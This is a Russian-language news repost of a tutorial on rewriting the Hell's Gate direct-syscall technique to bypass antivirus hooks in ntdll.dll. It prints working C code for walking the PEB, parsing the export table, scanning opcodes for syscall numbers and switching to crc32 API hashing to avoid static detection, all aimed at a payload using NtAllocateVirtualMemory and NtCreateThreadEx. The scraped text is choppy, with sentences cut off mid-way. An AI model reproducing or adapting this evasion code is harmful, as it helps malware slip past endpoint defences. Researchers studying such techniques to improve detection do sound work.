Категория > Новости > Врата ада. Переписываем Hell’s Gate и обходим антивирус - «Новости»
Врата ада. Переписываем Hell’s Gate и обходим антивирус - «Новости»9-08-2023, 00:00. Автор: Smith |
вариант обхода хуков в User Mode через перезапись библиотеки ntdll.dll. Теперь изучим еще один способ обхода ловушек — через сисколы. Сисколы (они же системные вызовы) — очень большая и интересная тема. Я постарался вкратце описать, что это и зачем они нужны. Если ты захочешь более глубоко погрузиться в тему, ниже найдешь несколько полезных ссылок. www
Итак, сискол можно считать переходной стадией между пользовательским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одного мира системы в другой. Если еще проще, то сискол — просто обращение к ядру. Вызовы ядра крайне важны для корректного функционирования системы. Например, именно заложенные в ядре функции позволяют создавать файлы. Каждый сискол однозначно идентифицируется по своему номеру. Этот номер называется по‑разному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сискола подсказывает ядру, что ему нужно делать. Он заносится в регистр Как выглядит вызов сисколов у разных функций Проблема в том, что средства защиты могут ставить хуки непосредственно перед вызовом инструкции Инструкция jmp перед syscall Это может свидетельствовать о наличии хука. Ничто не мешает нам напрямую вызывать инструкцию Техника поиска SSNSSN различается от системы к системе. Он зависит от версии Windows. Есть отличная таблица актуальных сисколов, но каждый раз хардкодить SSN вообще не вариант. Поэтому давно придуманы способы динамически доставать номера сисколов, а затем уже с этими номерами выполнять Direct- или Indirect-вызовы. Давай разберем один из самых известных методов — Hell’s Gate, а затем перепишем его под Tartarus Gate. Техника обнаружения SSN достаточно проста. Сначала, чтобы получить загруженный в процесс адрес
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
...
}
Программа, зная базовый адрес загрузки библиотеки, получает адрес EAT (Export Address Table). В этой таблице содержатся адреса всех экспортируемых из библиотеки функций.
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
После успешного получения всех адресов идет инициализация специальной структуры — структуры
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Таблица Для обнаружения сискола используется функция
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
...
После обнаружения нужной функции ее адрес записывается в таблицу, а затем ищется номер сискола для этой функции. Hell’s Gate ищет паттерн, характерный для вызова сискола.
mov r10,rcx
mov rcx,<syscall number>
Так выглядит шаблон вызова сисколаДля этого Hell’s Gate сканирует память на наличие соответствующих опкодов.
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
ОпкодыЕсли паттерн найден, начинается вычленение номера сискола. Для наглядности возьмем сискол с «длинным» номером, например Как выглядит номер сискола в памяти Инструкция, сохраняющая номер сискола в регистр
B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00
Hell’s Gate знает о таком поведении системы, поэтому вычленяет сисколы с использованием специального алгоритма.
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
Если мы поставим бряк на предпоследнюю строчку кода, то увидим, что в Номер сисколаЧто вычленяет Hell’s Gate Соответственно, если алгоритм вычленяет SSN Инициализация и high, и low В Подсчет номера сискола Дополнительно программа проверяет, не ушли ли мы в поиске номера сискола слишком далеко. Для этого также используются опкоды. Dead Codes Изменение алгоритма хешированияНачнем с того, что сменим алгоритм djb2 на какой‑нибудь другой, например на crc32h. Это нужно, чтобы из нашего пейлоада пропали некоторые статик‑детекты, основанные на хешах используемых нами имен WinAPI-функций. Для этого создадим функцию, реализующую логику по хешированию. ...unsigned int crc32h(char* message) { Конечно, можно было просто поменять Hash- и SEED-значения Для удобства вызова и автоматического приведения к нужному типу создадим макрос.
#define HASH(API) crc32h((char*)API)
Так как мы пока незнакомы с Compile-Time API Hashing, напишем программу для пересчета хешей от нужных нам функций. #include <stdio.h>#define SEED 0xEDB88320#define STR "_CRC32"unsigned int crc32h(char* message) { Новые хеши Изменение GetVxTableEntryКак ты помнишь, функция
typedef struct _NTDLL_CONFIG
{
PDWORDpdwArrayOfAddresses;
PDWORDpdwArrayOfNames;
PWORDpwArrayOfOrdinals;
DWORDdwNumberOfNames;
ULONG_PTR uModule;
}NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная, которая будет все это хранить
NTDLL_CONFIG g_NtdllConf = { 0 };
Для инициализации достаточно один раз вызвать функцию
BOOL InitNtdllConfigStructure() {
// Получение peb
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение ntdll.dll (первый элемент. Нулевой — наша программа)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получение базового адреса загрузки ntdll.dll
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Получение таблицы экспортов
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// Инициализация всех элементов у глобальной переменной
g_NtdllConf.uModule= uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
Саму функцию
typedef struct _NT_SYSCALL
{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
}NT_SYSCALL, *PNT_SYSCALL;
Функцию
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
while (TRUE) {
...тут алгоритм поиска сискола...
}
cw++;
}
break;
}
}
// Если что-то не инициализировалось, то все плохо
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
Изменение логики поиска сисколаHell’s Gate — один из простейших способов нахождения сискола. Проблема в том, что он просто пробегает по памяти в одном направлении, пытаясь обнаружить сискол. К сожалению, в современных реалиях этот вариант, мягко говоря, не самый рабочий. Что мешает антивирусному продукту внести некоторые изменения? Например, добавить лишнюю инструкцию, чтобы сломать поиск Hell’s Gate. Неизмененную последовательность без проблем получится обнаружить, но если мы просто добавим лишние инструкции? Напомню, как выглядит паттерн, который ищет сискол.
0x4c 0x8b 0xd1 0xb8 ...0x00 0x00
Неизмененный кодПерейти обратно к новости |